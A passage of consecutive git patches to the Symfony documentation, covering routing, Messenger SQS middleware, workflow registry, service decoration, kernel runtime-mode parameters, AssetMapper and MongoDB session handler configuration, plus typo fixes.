Date: Fri, 20 Oct 2023 07:48:19 +0200
Subject: [PATCH 5315/7107] Add post method attribute to json login

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 5a44ca2122b..3eadb77f384 100644
--- a/security.rst
+++ b/security.rst
@@ -1054,7 +1054,7 @@ token (or whatever you need to return) and return the JSON response:
 
       class ApiLoginController extends AbstractController
       {
-          #[Route('/api/login', name: 'api_login')]
+          #[Route('/api/login', name: 'api_login', methods: ['POST'])]
     -     public function index(): Response
     +     public function index(#[CurrentUser] ?User $user): Response
           {

From 5e3f96275ae82b4eb922dc85850e0abe70c29948 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Fri, 20 Oct 2023 08:25:03 +0200
Subject: [PATCH 5316/7107] Update pull_requests.rst

Replace "ticket" with "issue"

Follows https://github.com/symfony/symfony/pull/52189
---
 contributing/code/pull_requests.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 9f12ed93da4..564ac26bb4a 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -172,8 +172,8 @@ Then create a new branch off the ``5.4`` branch to work on the bug fix:
 
 .. tip::
 
-    Use a descriptive name for your branch (``ticket_XXX`` where ``XXX`` is the
-    ticket number is a good convention for bug fixes).
+    Use a descriptive name for your branch (``fix_XXX`` where ``XXX`` is the
+    issue number is a good convention for bug fixes).
 
 The above checkout commands automatically switch the code to the newly created
 branch (check the branch you are working on with ``git branch``).
@@ -338,7 +338,7 @@ Symfony as quickly as possible.
 Some answers to the questions trigger some more requirements:
 
 * If you answer yes to "Bug fix?", check if the bug is already listed in the
-  Symfony issues and reference it/them in "Fixed tickets";
+  Symfony issues and reference it/them in "Issues";
 
 * If you answer yes to "New feature?", you must submit a pull request to the
   documentation and reference it under the "Doc PR" section;

From 08344a47759e2d1819eaf8c6378da33a7012c594 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 19:28:03 +0200
Subject: [PATCH 5317/7107] [Messenger] Add AddFifoStamp middleware for SQS

---
 messenger.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 75e613121b9..bd3e265fdd1 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1811,6 +1811,27 @@ The transport has a number of options:
     Use the stamp :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp`
     to define the ``Message group ID`` and the ``Message deduplication ID``.
 
+    Another possibility is to enable the
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Middleware\\AddFifoStampMiddleware`.
+    If your message implements
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageDeduplicationAwareInterface`,
+    the middleware will automatically add the
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Transport\\AmazonSqsFifoStamp`
+    and set the ``Message deduplication ID``. Additionally, if your message implements the
+    :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageGroupAwareInterface`,
+    the middleware will automatically set the ``Message group ID`` of the stamp.
+
+    You can learn more about middlewares in
+    :ref:`the dedicated section <messenger_middleware>`.
+
+    .. versionadded:: 6.4
+
+        The
+        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Middleware\\AddFifoStampMiddleware`,
+        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageDeduplicationAwareInterface`
+        and :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageGroupAwareInterface`
+        were introduced in Symfony 6.4.
+
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
@@ -2379,6 +2400,8 @@ are a variety of different stamps for different purposes and they're used intern
 to track information about a message - like the message bus that's handling it
 or if it's being retried after failure.
 
+.. _messenger_middleware:
+
 Middleware
 ~~~~~~~~~~
 

From 4aaca2ed0ceb444d15e622f30811283f22150024 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 20 Oct 2023 13:36:04 +0200
Subject: [PATCH 5318/7107] [Workflow] Revert deprecation about Registry

---
 components/workflow.rst | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

diff --git a/components/workflow.rst b/components/workflow.rst
index a6ca1084d78..12a9c98ab2f 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -85,6 +85,41 @@ method to initialize the object property::
     // initiate workflow
     $workflow->getMarking($blogPost);
 
+Using The Workflow Registry
+---------------------------
+
+When you define multiple workflows you may consider using a ``Registry``,
+which is an object that stores and provides access to different workflows.
+A registry will also help you to decide if a workflow supports the object you
+are trying to use it with::
+
+    use Acme\Entity\BlogPost;
+    use Acme\Entity\Newsletter;
+    use Symfony\Component\Workflow\Registry;
+    use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
+
+    $blogPostWorkflow = ...;
+    $newsletterWorkflow = ...;
+
+    $registry = new Registry();
+    $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
+    $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class));
+
+You can then use the registry to get the workflow for a specific object::
+
+    $blogPost = new BlogPost();
+    $workflow = $registry->get($blogPost);
+
+    // initiate workflow
+    $workflow->getMarking($blogPost);
+
+.. caution::
+
+    Beware that injecting the ``Registry`` into your services is **not**
+    recommended. Indeed, it prevents some optimization like lazy-loading
+    from working and could be a performance hog. Instead, you should always
+    inject the workflow you need.
+
 Learn more
 ----------
 

From f410d8889279b1218629c8ae4bfb4e941931c1f2 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Sun, 22 Oct 2023 01:39:49 +0200
Subject: [PATCH 5319/7107] [Bundles] Remove SensioFrameworkExtraBundle from
 code exemple

---
 bundles.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index 19dd8c31aa8..ed7d57aaf8c 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -26,7 +26,6 @@ file::
         Symfony\Bundle\TwigBundle\TwigBundle::class => ['all' => true],
         Symfony\Bundle\MonologBundle\MonologBundle::class => ['all' => true],
         Doctrine\Bundle\DoctrineBundle\DoctrineBundle::class => ['all' => true],
-        Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle::class => ['all' => true],
         // this bundle is enabled only in 'dev' and 'test', so you can't use it in 'prod'
         Symfony\Bundle\WebProfilerBundle\WebProfilerBundle::class => ['dev' => true, 'test' => true],
     ];

From 90b92fdaeca936146de7434d451f2bf98667a09c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 22 Oct 2023 10:27:35 +0200
Subject: [PATCH 5320/7107] reference the decorated service using the special
 .inner id

---
 cache.rst   | 6 +++---
 session.rst | 6 +++---
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/cache.rst b/cache.rst
index b84bbb6f019..781e877d958 100644
--- a/cache.rst
+++ b/cache.rst
@@ -795,7 +795,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                     - ['%env(base64:CACHE_DECRYPTION_KEY)%']
                     # use multiple keys in order to rotate them
                     #- ['%env(base64:CACHE_DECRYPTION_KEY)%', '%env(base64:OLD_CACHE_DECRYPTION_KEY)%']
-                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+                    - '@.inner'
 
     .. code-block:: xml
 
@@ -818,7 +818,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                         <!-- use multiple keys in order to rotate them -->
                         <!-- <argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument> -->
                     </argument>
-                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
             </services>
         </container>
@@ -835,7 +835,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
             ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
             // use multiple keys in order to rotate them
             //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
-            ->addArgument(new Reference(SodiumMarshaller::class.'.inner'));
+            ->addArgument(new Reference('.inner'));
 
 .. caution::
 
diff --git a/session.rst b/session.rst
index 18b28165ca8..e614bde9bc4 100644
--- a/session.rst
+++ b/session.rst
@@ -1515,7 +1515,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                 decorates: 'session.marshaller'
                 arguments:
                     - ['%env(file:resolve:SESSION_DECRYPTION_FILE)%']
-                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+                    - '@.inner'
 
     .. code-block:: xml
 
@@ -1531,7 +1531,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                     <argument type="collection">
                         <argument>env(file:resolve:SESSION_DECRYPTION_FILE)</argument>
                     </argument>
-                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                    <argument type="service" id=".inner"/>
                 </service>
             </services>
         </container>
@@ -1552,7 +1552,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
                 ->decorate('session.marshaller')
                 ->args([
                     [env('file:resolve:SESSION_DECRYPTION_FILE')],
-                    service(SodiumMarshaller::class.'.inner'),
+                    service('.inner'),
                 ]);
         };
 

From 93a0effe629e49efce25f98f917d4119269b211f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 22 Oct 2023 11:49:53 +0200
Subject: [PATCH 5321/7107] remove Symfony 6 versionadded directives

---
 components/finder.rst          | 4 ----
 components/http_foundation.rst | 6 ------
 html_sanitizer.rst             | 5 -----
 messenger.rst                  | 8 --------
 reference/dic_tags.rst         | 6 ------
 5 files changed, 29 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 6a76c73ac08..516db7cde4e 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -337,10 +337,6 @@ using a closure, return ``false`` for the directories which you want to prune.
 Pruning directories early can improve performance significantly depending on the
 file/directory hierarchy complexity and the number of excluded directories.
 
-.. versionadded:: 6.4
-
-    The feature to prune directories was introduced in Symfony 6.4.
-
 Sorting Results
 ---------------
 
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 70060b93127..475d222dab5 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -478,12 +478,6 @@ your application to see which exceptions are thrown in listeners of the
 more about it in
 :ref:`the dedicated section about Kernel events <http-kernel-creating-listener>`.
 
-.. versionadded:: 6.4
-
-    The ``$flush`` parameter of the
-    :method:`Symfony\\Component\\HttpFoundation\\Response::send` method
-    was introduced in Symfony 6.4.
-
 Setting Cookies
 ~~~~~~~~~~~~~~~
 
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 6dd9b7771cf..6a5195880c2 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -1008,11 +1008,6 @@ increase or decrease this limit:
 It is possible to disable this length limit by setting the max input length to
 ``-1``. Beware that it may expose your application to `DoS attacks`_.
 
-.. versionadded:: 6.4
-
-    The support for disabling the length limit of the HTML sanitizer was
-    introduced in Symfony 6.4.
-
 Custom Attribute Sanitizers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger.rst b/messenger.rst
index 3ee8b0dc6eb..9c8e8202afa 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1768,14 +1768,6 @@ The transport has a number of options:
     You can learn more about middlewares in
     :ref:`the dedicated section <messenger_middleware>`.
 
-    .. versionadded:: 6.4
-
-        The
-        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\Middleware\\AddFifoStampMiddleware`,
-        :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageDeduplicationAwareInterface`
-        and :class:`Symfony\\Component\\Messenger\\Bridge\\AmazonSqs\\MessageGroupAwareInterface`
-        were introduced in Symfony 6.4.
-
     FIFO queues don't support setting a delay per message, a value of ``delay: 0``
     is required in the retry strategy settings.
 
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 8ffc5eb1b18..94f18efc990 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -512,12 +512,6 @@ If you don't need to preload anything, return an empty array. If read-only
 artefacts need to be created, you can store them in a different directory
 with the ``$buildDir`` parameter of the ``warmUp()`` method.
 
-.. versionadded:: 6.4
-
-    The ``$buildDir`` parameter of the
-    :method:`Symfony\\Component\\HttpKernel\\CacheWarmer\\WarmableInterface::warmUp`
-    method was introduced in Symfony 6.4.
-
 The ``isOptional()`` method should return true if it's possible to use the
 application without calling this cache warmer. In Symfony, optional warmers
 are always executed by default (you can change this by using the

From a67b566203e138e355ae1c8442a19af955a5b353 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Mon, 23 Oct 2023 09:10:25 +0200
Subject: [PATCH 5322/7107] [Expression Language] Clarify number of backslashes
 to escape a backslash

---
 reference/formats/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index cf51ac7c7ff..6ab87e53a40 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -20,8 +20,8 @@ The component supports:
 
 .. caution::
 
-    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
-    and 8 backslashes (``\\\\\\\\``) in a regex::
+    A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string
+    and 7 backslashes (``\\\\\\\\``) in a regex::
 
         echo $expressionLanguage->evaluate('"\\\\"'); // prints \
         $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true

From c3b6b2e66a0e0342fedc15abf2331a8c733a5728 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 20 Oct 2023 15:06:31 +0200
Subject: [PATCH 5323/7107] [HttpKernel] Add parameters kernel.runtime_mode and
 kernel.runtime_mode.*, all set from env var APP_RUNTIME_MODE

---
 reference/configuration/kernel.rst | 51 ++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index c6c0669d1a4..dc46ebd8018 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -308,6 +308,56 @@ the configuration options used to run the application. This allows for example
 to run an application with the ``prod`` config (``kernel.environment``) in different
 scenarios like ``staging`` or ``production`` (``kernel.runtime_environment``).
 
+``kernel.runtime_mode``
+-----------------------
+
+**type**: ``string`` **default**: ``%env(query_string:default:container.runtime_mode:APP_RUNTIME_MODE)%``
+
+This parameter stores a query string of the current runtime mode used by the
+application. For example, the query string looks like ``web=1&worker=0`` when
+the application is running in web mode and ``web=1&worker=1`` when running in
+a long-running web server. This parameter can be set by using the
+``APP_RUNTIME_MODE`` env var.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode`` parameter was introduced in Symfony 6.4.
+
+``kernel.runtime_mode.web``
+---------------------------
+
+**type**: ``boolean`` **default**: ``%env(bool:default::key:web:default:kernel.runtime_mode:)%``
+
+Whether the application is running in a web environment.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode.web`` parameter was introduced in Symfony 6.4.
+
+``kernel.runtime_mode.cli``
+---------------------------
+
+**type**: ``boolean`` **default**: ``%env(not:default:kernel.runtime_mode.web:)%``
+
+Whether the application is running in a CLI environment. By default,
+this value is the opposite of the ``kernel.runtime_mode.web`` parameter.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode.cli`` parameter was introduced in Symfony 6.4.
+
+``kernel.runtime_mode.worker``
+------------------------------
+
+**type**: ``boolean`` **default**: ``%env(bool:default::key:worker:default:kernel.runtime_mode:)%``
+
+Whether the application is running in a worker/long-running environment. Not all web
+servers support it, and you have to use a long-running web server like `FrankenPHP`_.
+
+.. versionadded:: 6.4
+
+    The ``kernel.runtime_mode.worker`` parameter was introduced in Symfony 6.4.
+
 ``kernel.secret``
 -----------------
 
@@ -336,3 +386,4 @@ This parameter stores the value of
 
 .. _`character encoding`: https://en.wikipedia.org/wiki/Character_encoding
 .. _`reproducible builds`: https://en.wikipedia.org/wiki/Reproducible_builds
+.. _`FrankenPHP`: https://frankenphp.dev

From f343237dc5d6df1b3d1f2520c5bfdf247ff33448 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 19 Oct 2023 20:01:36 +0200
Subject: [PATCH 5324/7107] [AssetMapper] Put importmap in polyfill so it can
 be hosted locally easily

---
 frontend/asset_mapper.rst | 22 +++++++++++++++++++---
 1 file changed, 19 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 17a80af3fce..37ff51cb5d1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1031,15 +1031,31 @@ you expect are being included in the asset map.
 ``framework.asset_mapper.importmap_polyfill``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Configure the polyfill for older browsers. Default is `ES module shim`_. You can pass
-any URL to be included, or ``false`` to disable the polyfill.
+Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded
+via a CDN. You can pass the key of an item in ``importmap.php`` or ``false`` to disable
+the polyfill loading.
 
 .. code-block:: yaml
 
     framework:
         asset_mapper:
             importmap_polyfill: false # disable the shim ...
-            # importmap_polyfill: 'https://...' # ... or pass some custom URL
+            # importmap_polyfill: 'my_import_map' # ... or pass an importmap name
+
+.. tip::
+
+    You can tell the AssetMapper to load the `ES module shim`_ locally by
+    using the following command, without changing your configuration:
+
+    .. code-block:: terminal
+
+        $ php bin/console importmap:require es-module-shims
+
+.. versionadded:: 6.4
+
+    Passing an importmap name in ``importmap_polyfill`` was
+    introduced in Symfony 6.4. Prior to this, you could pass ``false``
+    or a custom URL to load the polyfill.
 
 ``framework.asset_mapper.importmap_script_attributes``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 916a5c0f815e1425f0219eff73b4547b65376214 Mon Sep 17 00:00:00 2001
From: Michael Staatz <michael@staatzstreich.de>
Date: Mon, 23 Oct 2023 05:14:56 +0200
Subject: [PATCH 5325/7107] Update templating.rst

- parameter $year is typed with integer. date function returns string. Code works but casting to the right type feels better.
- added missing import to fix TypeError "Argument #1 ($request) must be of type Request"
---
 create_framework/templating.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 6fca67d84a1..f7ff66fa9f8 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -142,13 +142,14 @@ framework does not need to be modified in any way, create a new
 ``app.php`` file::
 
     // example.com/src/app.php
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
     function is_leap_year($year = null)
     {
         if (null === $year) {
-            $year = date('Y');
+            $year = (int)date('Y');
         }
 
         return 0 === $year % 400 || (0 === $year % 4 && 0 !== $year % 100);

From 1eb68cb277ef00c6551a4a6c246e4403186eb789 Mon Sep 17 00:00:00 2001
From: Amelie Le Coz <lecozamelie@hotmail.com>
Date: Mon, 23 Oct 2023 15:04:37 +0200
Subject: [PATCH 5326/7107] Update service_container.rst

Changes in response to my comment on this PR https://github.com/symfony/symfony-docs/pull/18790
---
 service_container.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index f1da9c3d203..42acabf48cf 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1420,7 +1420,7 @@ You also have a service that defines many methods and one of them is the same
     {
         // other methods...
 
-        public function format($string $message, array $parameters): string
+        public function format(string $message, array $parameters): string
         {
             // ...
         }
@@ -1438,7 +1438,7 @@ Thanks to the ``#[AutowireCallable]`` attribute, you can now inject this
     class Mailer
     {
         public function __construct(
-            #[AutowireCallable(service: MessageUtils::class, method: 'formatMessage')]
+            #[AutowireCallable(service: MessageUtils::class, method: 'format')]
             private MessageFormatterInterface $formatter
         ) {
         }
@@ -1470,7 +1470,7 @@ an adapter for a functional interface through configuration:
 
             app.message_formatter:
                 class: App\Service\MessageFormatterInterface
-                from_callable: [!service {class: 'App\Service\MessageUtils'}, 'formatMessage']
+                from_callable: [!service {class: 'App\Service\MessageUtils'}, 'format']
 
     .. code-block:: xml
 
@@ -1485,7 +1485,7 @@ an adapter for a functional interface through configuration:
                 <!-- ... -->
 
                 <service id="app.message_formatter" class="App\Service\MessageFormatterInterface">
-                    <from-callable method="formatMessage">
+                    <from-callable method="format">
                         <service class="App\Service\MessageUtils"/>
                     </from-callable>
                 </service>
@@ -1506,7 +1506,7 @@ an adapter for a functional interface through configuration:
 
             $container
                 ->set('app.message_formatter', MessageFormatterInterface::class)
-                ->fromCallable([inline_service(MessageUtils::class), 'formatMessage'])
+                ->fromCallable([inline_service(MessageUtils::class), 'format'])
                 ->alias(MessageFormatterInterface::class, 'app.message_formatter')
             ;
         };

From 915f573f5aff544163d1d5cd7569d06b4a3b490b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 23 Oct 2023 19:18:52 +0200
Subject: [PATCH 5327/7107] Use Doctor RST 1.54.0

---
 .github/workflows/ci.yaml                  | 2 +-
 components/console/helpers/progressbar.rst | 2 +-
 validation.rst                             | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index c3b8eac7b63..af2ea3a28a7 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.53.0
+                uses: docker://oskarstark/doctor-rst:1.54.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 827ce1973dd..4c5cb6da56b 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -5,7 +5,7 @@ When executing longer-running commands, it may be helpful to show progress
 information, which updates as your command runs:
 
 .. image:: /_images/components/console/progressbar.gif
-    :alt: Console output showing a progress bar advance to 100%, with the esimated time left, the memory usage and a special message that changes when the bar closes completion.
+    :alt: Console output showing a progress bar advance to 100%, with the estimated time left, the memory usage and a special message that changes when the bar closes completion.
 
 .. note::
 
diff --git a/validation.rst b/validation.rst
index 8fc5d71a6f4..8a68f29391a 100644
--- a/validation.rst
+++ b/validation.rst
@@ -741,7 +741,7 @@ properties even if the child properties override those constraints**. Symfony
 will always merge the parent constraints for each property.
 
 You can't change this behavior, but you can overcome it by defining the parent
-and the child contraints in different :doc:`validation groups </validation/groups>`
+and the child constraints in different :doc:`validation groups </validation/groups>`
 and then select the appropriate group when validating each object.
 
 Debugging the Constraints

From 69abdfa05e9a84140b4166a7d3c155bf1e3a27eb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:18:30 +0200
Subject: [PATCH 5328/7107] Fix: Typos

---
 _build/maintainer_guide.rst                | 2 +-
 reference/constraints/PasswordStrength.rst | 2 +-
 security/access_control.rst                | 2 +-
 service_container/autowiring.rst           | 4 ++--
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 9758b4e7397..8f7af409999 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -1,4 +1,4 @@
-Symfony Docs Maintainer Guide
+ASymfony Docs Maintainer Guide
 =============================
 
 The `symfony/symfony-docs`_ repository stores the Symfony project documentation
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 10a19b342d6..ddc3fd18043 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -6,7 +6,7 @@ PasswordStrength
     The ``PasswordStrength`` constraint was introduced in Symfony 6.3.
 
 Validates that the given password has reached the minimum strength required by
-the constraint. The strengh of the password is not evaluated with a set of
+the constraint. The strength of the password is not evaluated with a set of
 predefined rules (include a number, use lowercase and uppercase characters,
 etc.) but by measuring the entropy of the password based on its length and the
 number of unique characters used.
diff --git a/security/access_control.rst b/security/access_control.rst
index abba217702f..ebf2227b42c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -161,7 +161,7 @@ Take the following ``access_control`` entries as an example:
                 ->requestMatcher('App\Security\RequestMatcher\MyRequestMatcher')
             ;
 
-            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') mehtod,
+            // require ROLE_ADMIN for 'admin' route. You can use the shortcut route('xxx') method,
             // instead of attributes(['_route' => 'xxx']) method
             $security->accessControl()
                 ->roles(['ROLE_ADMIN'])
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index daa1e96328b..96b78ab39e2 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -658,10 +658,10 @@ Generate Closures With Autowiring
 ---------------------------------
 
 A **service closure** is an anonymous function that returns a service. This type
-of instanciation is handy when you are dealing with lazy-loading.  It is also
+of instantiation is handy when you are dealing with lazy-loading.  It is also
 useful for non-shared service dependencies.
 
-Automatically creating a closure encapsulating the service instanciation can be
+Automatically creating a closure encapsulating the service instantiation can be
 done with the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
 attribute::

From 178f167f3401d817c8ba8646577a0ae884713b4f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 24 Oct 2023 10:21:39 +0200
Subject: [PATCH 5329/7107] -

---
 _build/maintainer_guide.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index 8f7af409999..9758b4e7397 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -1,4 +1,4 @@
-ASymfony Docs Maintainer Guide
+Symfony Docs Maintainer Guide
 =============================
 
 The `symfony/symfony-docs`_ repository stores the Symfony project documentation

From 85b931d446fe627a621a9fa3d4c53c64477750e4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Sat, 21 Oct 2023 02:57:18 +0200
Subject: [PATCH 5330/7107] Fix documentation for MongoDB Session Handler

---
 session.rst | 37 +++++++++++++++++++++++++++----------
 1 file changed, 27 insertions(+), 10 deletions(-)

diff --git a/session.rst b/session.rst
index 18b28165ca8..d3fbdc6cd89 100644
--- a/session.rst
+++ b/session.rst
@@ -994,7 +994,14 @@ working MongoDB connection in your Symfony application as explained in the
 `DoctrineMongoDBBundle configuration`_ article.
 
 Then, register a new handler service for ``MongoDbSessionHandler`` and pass it
-the MongoDB connection as argument:
+the MongoDB connection as argument, and the required parameters:
+
+``database``:
+    The name of the database
+
+``collection``:
+    The name of the collection
+
 
 .. configuration-block::
 
@@ -1007,6 +1014,7 @@ the MongoDB connection as argument:
             Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
                 arguments:
                     - '@doctrine_mongodb.odm.default_connection'
+                    - { database: '%env(MONGODB_DB)%', collection: 'sessions' }
 
     .. code-block:: xml
 
@@ -1022,6 +1030,10 @@ the MongoDB connection as argument:
             <services>
                 <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                    <argument type="collection">
+                        <argument key="database">%env('MONGODB_DB')%</argument>
+                        <argument key="collection">sessions</argument>
+                    </argument>
                 </service>
             </services>
         </container>
@@ -1039,6 +1051,7 @@ the MongoDB connection as argument:
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
+                    ['database' => '%env('MONGODB_DB')%', 'collection' => 'sessions']
                 ])
             ;
         };
@@ -1088,13 +1101,6 @@ configuration option to tell Symfony to use this service as the session handler:
             ;
         };
 
-.. note::
-
-    MongoDB ODM 1.x only works with the legacy driver, which is no longer
-    supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter``
-    package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to
-    MongoDB ODM 2.0.
-
 That's all! Symfony will now use your MongoDB server to read and write the
 session data. You do not need to do anything to initialize your session
 collection. However, you may want to add an index to improve garbage collection
@@ -1123,7 +1129,11 @@ configure these values with the second argument passed to the
             Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
                 arguments:
                     - '@doctrine_mongodb.odm.default_connection'
-                    - { id_field: '_guid', 'expiry_field': 'eol' }
+                    -
+                        database: '%env(MONGODB_DB)%'
+                        collection: 'sessions'
+                        id_field: '_guid'
+                        expiry_field: 'eol'
 
     .. code-block:: xml
 
@@ -1138,6 +1148,8 @@ configure these values with the second argument passed to the
                 <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
